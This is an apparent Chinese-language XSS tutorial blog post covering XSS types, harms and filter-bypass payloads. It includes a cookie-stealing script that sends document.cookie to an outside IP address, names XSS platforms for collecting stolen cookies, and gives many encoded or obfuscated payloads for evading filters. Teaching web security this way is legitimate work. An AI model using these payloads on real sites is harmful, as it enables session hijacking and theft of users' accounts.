XSS基础

1、什么是XSS?

       中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。

2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。

  攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)

3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号

                            2.窃取用户cookies资料,从而获取用户信息。

                            3.获取客户端信息,IP/端口等

                            4.劫持用户浏览器会话,从而执行任意操作

                            5.强制弹出窗口。

                            6.网页挂马,进行恶意操作

                            7.进行大量的客户端攻击 如DDoS攻击

                            8.控制受害者机器向其他客户端攻击

4、XSS分类  

①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。

特点:

① 主要用于将恶意脚本附加到URL地址的参数中

② 只在用户单击url时触发,而且只执行一次,非持久化

③常用来窃取客户端 Cookies或进行钓鱼欺骗.

④常常为通过引诱用户点击一个恶意链接来实施攻击的)name为可控参数

 

 

 我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。

       当我们构造好了如下恶意代码,发送给受害者。

<script>alert(document.cookie)</script>

       将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户

 

 

 ②存储型 :渗透 挂马 蠕虫病毒     出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。

(特点:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性

       ② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.

       ③ 一般出现在网站的留言、评论、日志等交互处,)

页面原理:

  POST提交数据,生成、读取文本模拟数据库,

提交数据之后页面会将数据写入sql.txt,

  再打开页面时会读取sql.txt中内容并显示在网页上,

实现了存储型xss攻击模拟。

当输入恶意代码,即会执行<script>alert('xss')</script>

并且恶意代码会一直存储在服务器,每当有用户访问该页面,即会触发恶意代码

 

 利用XSS弹出恶意警告框
    <script>alert('hacked by cl4y')</script>

 网页不停刷新
<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >

获得cookie
<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>

劫持流量(跳转到你的博客强行吸粉)
<script>window.location.href="http://www.cl4y.top";</script>

③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。 

 xss平台

1.获取COOKIE(这是必须的最基本的功能)

2.获取源码(取当前网页的源码)

3.截图(可自己修改为连续截图)

4.……………

https://xss.pt

https://xssaq.com

XSS利用——无任何过滤
<scirpt>
<scirpt>alert(1);</script>
<img>
<img src=1 οnerrοr=alert("xss");>         //onerror等事件,可以调用js
<input>
<input οnfοcus="alert('xss');" autofocus>
<svg>
<svg οnlοad=alert("xss");>
<iframe>
<iframe οnlοad=alert("xss");></iframe>
<iframe src=javascript:alert('xss');></iframe>      //src中支持伪协议
<textarea>
<textarea οnfοcus=alert("xss"); autofocus>
往往用户可控的参数都进行了过滤,不会让你用一个<script>标签就轻易攻击成功
<script>shellcode</script>

XXS绕过:

关键字绕过
     空格绕过
             用/代替空格 <img/src="x"/οnerrοr=alert("xss");>
关键字绕过
        大小写绕过  <ImG sRc=x onerRor=alert("xss");>
        利用其他标签
        双写关键字  <imimgg srsrcc=x οnerrοr=alert("xss");>
        字符拼接      <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
             <script>top["al"+"ert"](`xss`);</script>
            
利用函数进行编码绕过
        Unicode绕过
        <img src="x"         οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函数进行编码绕过
ASCII码
        <img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
        <img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
Base64编码
        <img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))">
        <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">   过滤括号
        当括号被过滤的时候可以使用throw来绕过
        <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //异常处理
        反引号
        <img src=x οnerrοr=alert`1`>
过滤双引号,单引号
        反引号
        <img src=1 οnerrοr=alert`1`;>
js事件
当某个位置的可控点在一个标签内,那么或许可以通过js事件来完成xss操作
<img src=1 οnerrοr=alert`1`;>

 

 混淆:
利用html标签格式的不严格、容错性。
        关键字中加空格
        加TAB
        回车
url编码
<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframesrc="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值